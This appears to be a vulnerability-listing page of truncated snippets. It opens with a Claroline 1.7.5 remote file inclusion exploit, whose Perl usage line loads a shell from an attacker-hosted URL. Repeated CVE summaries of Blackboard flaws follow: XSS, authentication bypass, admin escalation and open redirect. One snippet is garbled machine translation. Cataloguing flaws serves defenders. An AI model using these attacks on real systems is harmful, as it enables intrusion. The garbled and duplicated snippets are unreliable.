Claroline e-Learning 1.75 (ldap.inc.php) Remote File Inclusion Exploit

Exploit for unknown platform in category web applications ====================================================================== Claroline e-Learning 1.75 ldap.inc.php Remote File Inclusion Exploit ====================================================================== !/usr/bin/perl Claroline Ope...

Claroline E-Learning 1.75 - ldap.inc.php Remote File Inclusion

Claroline E-Learning 1.75 - ldap.inc.php Remote File Inclusion !/usr/bin/perl Claroline Open Source e-Learning 1.7.5 Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/claroline/auth/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd;...

Claroline E-Learning 1.75 - 'ldap.inc.php' Remote File Inclusion

!/usr/bin/perl Claroline Open Source e-Learning 1.7.5 Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/claroline/auth/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor: http://www.claroline.net The file...

Fee resources my methods（invasion）-vulnerability warning-the black bar safety net

In the previous article we have introduced the idea of the article, the techniques article search article and receive a new friends good feedback, the friends actively reflect the problems, the features proposed in this series of articles 末篇 then increase the Q & A article in to one reply. Below ...

CVE-2005-4339

Cross-site scripting XSS vulnerability in Blackboard Learning and Community Portal System in Academic Suite 6.3.1.424, 6.2.3.23, and other versions before 6 allows remote attackers to inject arbitrary web script or HTML via the context parameter to announcement.pl, which is reflected in the...

CVE-2005-4337

The login page in Blackboard Learning and Community Portal System in Academic Suite 6.3.1.424, 6.2.3.23, and other versions before 6 allows remote attackers to bypass authentication and gain privileges as other users via a modified userid parameter and a "/" in the encodedpw parameter...

CVE-2005-4341

Blackboard Learning and Community Portal System in Academic Suite 6.3.1.424, 6.2.3.23, and other versions before 6 allows remote attackers to list all available categories via a blank categoryid parameter to category.pl. NOTE: it is not clear whether this information is sensitive or not, so this...

CVE-2005-4341

Blackboard Learning and Community Portal System in Academic Suite 6.3.1.424, 6.2.3.23, and other versions before 6 allows remote attackers to list all available categories via a blank categoryid parameter to category.pl. NOTE: it is not clear whether this information is sensitive or not, so this...

CVE-2005-4339

CVE-2005-4339 is an XSS vulnerability in Blackboard Learning and Community Portal System (Academic Suite 6.3.1.424, 6.2.3.23, and other versions before 6) where a attacker-supplied context parameter to announcement.pl is reflected in the page. The issue is caused by improper handling of user inpu...

CVE-2005-4337

The CVE-2005-4337 issue affects Blackboard Learning and Community Portal System on Academic Suite versions 6.3.1.424, 6.2.3.23, and earlier builds. The root cause is an authentication bypass via a modified user_id parameter and a "/" in the encoded_pw parameter, enabling remote attackers to gain ...

CVE-2005-4341

Blackboard Learning and Community Portal System in Academic Suite before version 6 is affected by CVE-2005-4341. The issue arises in category.pl where a blank category_id parameter allows remote attackers to list all categories, constituting information disclosure (confidentiality impact: partial...

CVE-2005-4337

The login page in Blackboard Learning and Community Portal System in Academic Suite 6.3.1.424, 6.2.3.23, and other versions before 6 allows remote attackers to bypass authentication and gain privileges as other users via a modified userid parameter and a "/" in the encodedpw parameter...

CVE-2005-4338

announcement.pl in Blackboard Learning and Community Portal System in Academic Suite 6.3.1.424, 6.2.3.23, and other versions before 6 allows remote attackers to gain administrator privileges by setting the context parameter to "admin"...

CVE-2005-4339

Cross-site scripting XSS vulnerability in Blackboard Learning and Community Portal System in Academic Suite 6.3.1.424, 6.2.3.23, and other versions before 6 allows remote attackers to inject arbitrary web script or HTML via the context parameter to announcement.pl, which is reflected in the...

CVE-2005-4338

The CVE-2005-4338 entry affects Blackboard Learning and Community Portal System (Academic Suite) versions 6.3.1.424, 6.2.3.23, and earlier 6.x. The vulnerability, as described in multiple feeds, allows remote attackers to gain administrator privileges by setting the context parameter to "admin". ...

CVE-2005-4206

Blackboard Learning and Community Portal System in Academic Suite 6.3.1.424, 6.2.3.23, and other versions before 6 allows remote attackers to redirect users to other URLs and conduct phishing attacks via a modified url parameter to frameset.jsp, which loads the URL into a frame and causes it to...

CVE-2005-4206

Blackboard Learning and Community Portal System in Academic Suite 6.3.1.424, 6.2.3.23, and other versions before 6 allows remote attackers to redirect users to other URLs and conduct phishing attacks via a modified url parameter to frameset.jsp, which loads the URL into a frame and causes it to...

CVE-2005-4206

CVE-2005-4206 affects Blackboard Learning and Community Portal System (Academic Suite) versions before 6, via a modified url parameter to frameset.jsp that loads an external URL in a frame, enabling remote redirection and phishing-like page spoofing. The issue’s root cause is the insecure handlin...

CVE-2005-4206

Blackboard Learning and Community Portal System in Academic Suite 6.3.1.424, 6.2.3.23, and other versions before 6 allows remote attackers to redirect users to other URLs and conduct phishing attacks via a modified url parameter to frameset.jsp, which loads the URL into a frame and causes it to...

PT-2005-4894 · Blackboard · Blackboard Learning/Community Portal System

Name of the Vulnerable Software and Affected Versions: Blackboard Learning and Community Portal System versions prior to 6 Description: The issue allows remote attackers to redirect users to other URLs and conduct phishing attacks via a modified url parameter to "frameset.jsp", which loads the UR...